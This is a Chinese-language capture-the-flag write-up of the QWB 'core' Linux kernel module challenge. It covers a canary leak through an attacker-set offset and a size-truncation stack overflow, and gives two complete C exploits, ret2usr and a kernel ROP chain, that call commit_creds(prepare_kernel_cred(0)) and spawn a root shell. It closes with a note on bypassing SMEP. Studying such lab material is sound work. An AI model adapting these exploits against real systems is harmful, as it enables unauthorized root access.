一篇kernelrop的完整流程 https://github.com/vnik5287/kernel_rop

启动脚本

#! /bin/sh

qemu-system-x86_64 \
	-m 256M \
	-kernel ./bzImage \
	-initrd  ./core.cpio \
	-append "root=/dev/ram rw oops=panic panic=1 console=ttyS0 quiet kaslr useradd" \
	-gdb tcp::1234 \
	-netdev user,id=t0, -device e1000,netdev=t0,id=nic0 \
	-nographic  \

程序开启了kaslr

解压文件系统

cpio -idmv < core.cpio

允许普通用户读取内核函数地址,需要在init中添加

echo 0 > /proc/sys/kernel/kptr_restrict
echo 1 >/proc/sys/kernel/perf_event_paranoid

然后再创建镜像文件

find . | cpio -o --format=newc > ../core.cpio

查看下保护

root@snappyjack-VirtualBox:/home/2018rop# checksec core.ko
[*] '/home/2018rop/core.ko'
    Arch:     amd64-64-little
    RELRO:    No RELRO
    Stack:    Canary found
    NX:       NX enabled
    PIE:      No PIE (0x0)

发现开启了Canary

core_ioctl函数

__int64 __fastcall core_ioctl(__int64 a1, int a2, __int64 a3)
{
  __int64 v3; // rbx@1

  v3 = a3;
  switch ( a2 )
  {
    case 0x6677889B:
      core_read(a3);                            // 将栈地址拷贝到我们指定的用户空间,这里存在一个内存泄露
      break;
    case 0x6677889C:
      printk(&unk_2CD);                         // 打印地址
      off = v3;                                 // off可以由我们指定
      break;
    case 0x6677889A:
      printk(&unk_2B3);                         // 打印地址
      core_copy_func(v3);
      break;
  }
  return 0LL;
}

查看core_copy_func函数

signed __int64 __fastcall core_copy_func(signed __int64 a1)
{
  signed __int64 result; // rax@2
  __int64 v2; // rdx@4
  __int64 v3; // [sp+0h] [bp-50h]@2
  __int64 v4; // [sp+40h] [bp-10h]@1

  v4 = *MK_FP(__GS__, 40LL);
  printk(&unk_215);
  if ( a1 > 63 )		//a1输入一个负数,绕过这个if语句
  {
    printk(&unk_2A1);
    result = 0xFFFFFFFFLL;
  }
  else
  {
    result = 0LL;
    qmemcpy(&v3, &name, (unsigned __int16)a1);		//这里看到a1的类型发生了转变,(0xf000000000000000|0x100)这样的数造成了截断,产生一个栈溢出
  }
  v2 = *MK_FP(__GS__, 40LL) ^ v4;
  return result;
}

发现a1的类型发生了转变,当我们输入如0xf000000000000000|0x100这样的数据就可以绕过限制,就可以造成内核的栈溢出了

再看core_read函数

int __fastcall core_read(__int64 a1)
{
  __int64 v1; // rbx@1
  __int64 *v2; // rdi@1
  signed __int64 i; // rcx@1
  __int64 v4; // rax@4
  __int64 v6; // [sp+0h] [bp-50h]@1
  __int64 v7; // [sp+40h] [bp-10h]@1

  v1 = a1;
  v7 = *MK_FP(__GS__, 40LL);
  printk(&unk_25B);					//打印两个地址的值
  printk(&unk_275);
  v2 = &v6;
  for ( i = 16LL; i; --i )			//这一块好像没什么用
  {
    *(_DWORD *)v2 = 0;
    v2 = (__int64 *)((char *)v2 + 4);
  }
  strcpy((char *)&v6, "Welcome to the QWB CTF challenge.\n");
  LODWORD(v4) = copy_to_user(v1, (char *)&v6 + off, 0x40LL);// v1和off由我们指定,所以这里存在一个leak
  if ( v4 )
    __asm { swapgs }
  else
    v4 = *MK_FP(__GS__, 40LL) ^ v7;
  return v4;
}

可以泄露出Canary

core_write函数如下,这个函数可以向name地址中写入数据

signed __int64 __fastcall core_write(__int64 a1, __int64 a2, unsigned __int64 a3)
{
  unsigned __int64 v3; // rbx@1
  signed __int64 result; // rax@2
  __int64 v5; // rax@3

  v3 = a3;
  printk(&unk_215);
  if ( v3 > 0x800 || (LODWORD(v5) = copy_from_user(&name, a2, v3), v5) )	//可以向name(.bss)中写入数据
  {
    printk(&unk_230);
    result = 0xFFFFFFF2LL;
  }
  else
  {
    result = (unsigned int)v3;
  }
  return result;
}

利用思路

  • 设置全局变量off的大小,然后通过core_read()leak出canary
  • 通过core_write()向全局变量name中写入我们构造的ROPchain
  • 通过设置合理的长度利用core_copy_func()函数把name的ROPchain向v2变量上写,进行ROP攻击
  • ROP调用commit_creds(prepare_kernel_cred(0)),然后swapgs,iretq到用户态;
  • 用户态起shell,get root;

    调试小技巧

    为了方便调试,我们修改一下init文件:

    setsid /bin/cttyhack setuidgid 0 /bin/sh
    

    查看模块基地址

    / # lsmod | grep core
    core 16384 0 - Live 0xffffffffc0098000 (O)
    

    添加symbol

    add-symbol-file ./core.ko 0xfc031d000
    

    在vmlinux中查看函数地址偏移,其中内核的默认基地址是0xffffffff81000000

    from pwn import *
    elf = ELF('./core/vmlinux')
    print "commit_creds",hex(elf.symbols['commit_creds']-0xffffffff81000000)
    print "prepare_kernel_cred",hex(elf.symbols['prepare_kernel_cred']-0xffffffff81000000)
    

    运行后看到我们的偏移

    commit_creds 0x9c8e0
    prepare_kernel_cred 0x9cce0
    

    在qemu中查看实际地址

    / # more /proc/kallsyms | grep commit_creds
    ffffffffa2a9c8e0 T commit_creds
    / # more /proc/kallsyms | grep prepare_kernel_cred
    ffffffffa2a9cce0 T prepare_kernel_cred
    

    相减得到vmlinux基地址0xffffffffa2a00000

使用ropper进行gadget查找

ropper --file vmlinux --nocolor > result.txt

或者

ROPgadget --binary vmlinux > 1.txt

利用

提权函数

commit_creds(prepare_kernel_cred(0));

在虚拟机中查看地址

                       / # cat /proc/kallsyms | grep commit_creds
                       faa89c8e0 T commit_creds
                       / # cat /proc/kallsyms | grep prepare_kernel_cred
                       faa89cce0 T prepare_kernel_cred

最终exp

//kernel 4.15.8
//ret2usr.c
//gcc ret2usr.c -o ret2usr -w -static
#include <stdio.h>
#include <fcntl.h>
#include <unistd.h>
int fd;
unsigned long user_cs, user_ss, user_eflags,user_sp;
size_t commit_creds_addr,prepare_kernel_cred_addr;
 
void core_read(char *buf){              //函数封装
    ioctl(fd,0x6677889B,buf);
    //printf("[*]The buf is:%x\n",buf);
}

void change_off(long long v1){          //函数封装
    ioctl(fd,0x6677889c,v1);
}

void core_write(char *buf,int a3){      //函数封装
    write(fd,buf,a3);
}

void core_copy_func(long long size){    //函数封装
    ioctl(fd,0x6677889a,size);
}

void shell(){                           //起一个shell
    system("/bin/sh");
}

void save_stats(){                      //保存用户状态
    asm(
        "movq %%cs, %0\n"
        "movq %%ss, %1\n"
        "movq %%rsp, %3\n"
        "pushfq\n"
        "popq %2\n"
        :"=r"(user_cs), "=r"(user_ss), "=r"(user_eflags),"=r"(user_sp)
        :
        : "memory"
    );
}

void get_root(){                                    //这里就是从用户态运行了提权
    char* (*pkc)(int) = prepare_kernel_cred_addr;
    void (*cc)(char*) = commit_creds_addr;
    (*cc)((*pkc)(0));
}

int main(){
    int ret,i;
    char buf[0x100];
    size_t vmlinux_base,core_base,canary;
    size_t commit_creds_offset = 0x9c8e0;               //通过vmlinx可以找到
    size_t prepare_kernel_cred_offset = 0x9cce0;        //通过vmlinx可以找到
    size_t rop[0x100];
    save_stats();
    fd = open("/proc/core",O_RDWR);
    change_off(0x40);
    core_read(buf);
    /*
    for(i=0;i<0x40;i++){
    printf("[*] The buf[%x] is:%p\n",i,*(size_t *)(&buf[i]));
    }
    */
    vmlinux_base = *(size_t *)(&buf[0x20]) - 0x1dd6d1;      //通过leak计算出基地址
    core_base = *(size_t *)(&buf[0x10]) - 0x19b;            //通过leak计算出基地址
    canary = *(size_t *)(&buf[0]);
    printf("[*]canary:%p\n",canary);
    printf("[*]vmlinux_base:%p\n",vmlinux_base);
    printf("[*]core_base:%p\n",core_base);
    for(i = 0;i < 8;i++){
        rop[i] = 0x66666666;                //填充
    }
    rop[i++] = canary;                      //canary
    rop[i++] = 0x0;                         //junk
    rop[i++] = (size_t)get_root;            //跳到用户的位置执行了提权
    rop[i++] = core_base + 0xd6;            //swapgs; pop rbp; ret
    rop[i++] = 0;                           //junk
    rop[i++] = vmlinux_base + 0x50ac2;      //iretq; ret;
    rop[i++] = (size_t)shell;               //起一个shell
    rop[i++] = user_cs;
    rop[i++] = user_eflags;
    rop[i++] = user_sp;
    rop[i++] = user_ss;

    core_write(rop,0x100);
    core_copy_func(0xf000000000000100);
    return 0;
}

或者

//rop.c
//gcc rop.c -o poc -w -static
#include <stdio.h>
#include <fcntl.h>
#include <unistd.h>
int fd;
void core_read(char *buf){                      //函数封装
    ioctl(fd,0x6677889B,buf);
    //printf("[*]The buf is:%x\n",buf);
}

void change_off(long long v1){                  //函数封装
    ioctl(fd,0x6677889c,v1);
}

void core_write(char *buf,int a3){              //函数封装
    write(fd,buf,a3);
}

void core_copy_func(long long size){            //函数封装
    ioctl(fd,0x6677889a,size);
}

void shell(){                                   //起一个shell
    system("/bin/sh");
}

unsigned long user_cs, user_ss, user_eflags,user_sp	;
void save_stats(){                              //保存用户状态
	asm(
		"movq %%cs, %0\n"
		"movq %%ss, %1\n"
		"movq %%rsp, %3\n"
		"pushfq\n"
		"popq %2\n"
		:"=r"(user_cs), "=r"(user_ss), "=r"(user_eflags),"=r"(user_sp)
 		:
 		: "memory"
 	);
}

int main(){
    int ret,i;
    char buf[0x100];
    size_t vmlinux_base,core_base,canary;
    size_t commit_creds_addr,prepare_kernel_cred_addr;
    size_t commit_creds_offset = 0x9c8e0;           //通过vmlinux找出
    size_t prepare_kernel_cred_offset = 0x9cce0;    //通过vmlinux找出
    size_t rop[0x100];
    save_stats();
    fd = open("/proc/core",O_RDWR);
    change_off(0x40);
    core_read(buf);
    /*
    for(i=0;i<0x40;i++){
    printf("[*] The buf[%x] is:%p\n",i,*(size_t *)(&buf[i]));
    }
    */
    vmlinux_base = *(size_t *)(&buf[0x20]) - 0x1dd6d1;      //通过leak计算出基地址
    core_base = *(size_t *)(&buf[0x10]) - 0x19b;            //通过leak计算出基地址
    prepare_kernel_cred_addr = vmlinux_base + prepare_kernel_cred_offset;
    commit_creds_addr = vmlinux_base + commit_creds_offset;
    canary = *(size_t *)(&buf[0]);
    printf("[*]canary:%p\n",canary);
    printf("[*]vmlinux_base:%p\n",vmlinux_base);
    printf("[*]core_base:%p\n",core_base);
    printf("[*]prepare_kernel_cred_addr:%p\n",prepare_kernel_cred_addr);
    printf("[*]commit_creds_addr:%p\n",commit_creds_addr);
    //junk
    for(i = 0;i < 8;i++){
        rop[i] = 0x66666666;
    }
    rop[i++] = canary;                      //canary
    rop[i++] = 0;                           //rbp(junk)
    rop[i++] = vmlinux_base + 0xb2f;        //pop_rdi_ret;
    rop[i++] = 0;                           //rdi
    rop[i++] = prepare_kernel_cred_addr;     //在内核空间运行了prepare_kernel_cred(0)
    rop[i++] = vmlinux_base + 0xa0f49;      //pop_rdx_ret
    rop[i++] = vmlinux_base + 0x21e53;      //pop_rcx_ret       此时rdx的值是这个
    rop[i++] = vmlinux_base + 0x1aa6a;      //mov rdi, rax ; call rdx      这时上一个函数结果到了rdi,然后call rdx
    rop[i++] = commit_creds_addr;
    rop[i++] = core_base + 0xd6;            //swapgs; pop rbp; ret
    rop[i++] = 0;                           //rbp(junk)
    rop[i++] = vmlinux_base + 0x50ac2;      //iretp_ret
    rop[i++] = (size_t)shell;               //起一个shell
    rop[i++] = user_cs;
    rop[i++] = user_eflags;
    rop[i++] = user_sp;
    rop[i++] = user_ss;
    core_write(rop,0x100);
    core_copy_func(0xf000000000000100);
    return 0;
}

关于kernel栈溢出的smep与smap

这里的栈溢出都是溢出在内核空间,构造rop这边不会存在smap的问题,smep的绕过就是内核空间查找mov cr4, 0x1407e0gadget,关闭smep,或者在内核空间找gadget,代码段全部来自内核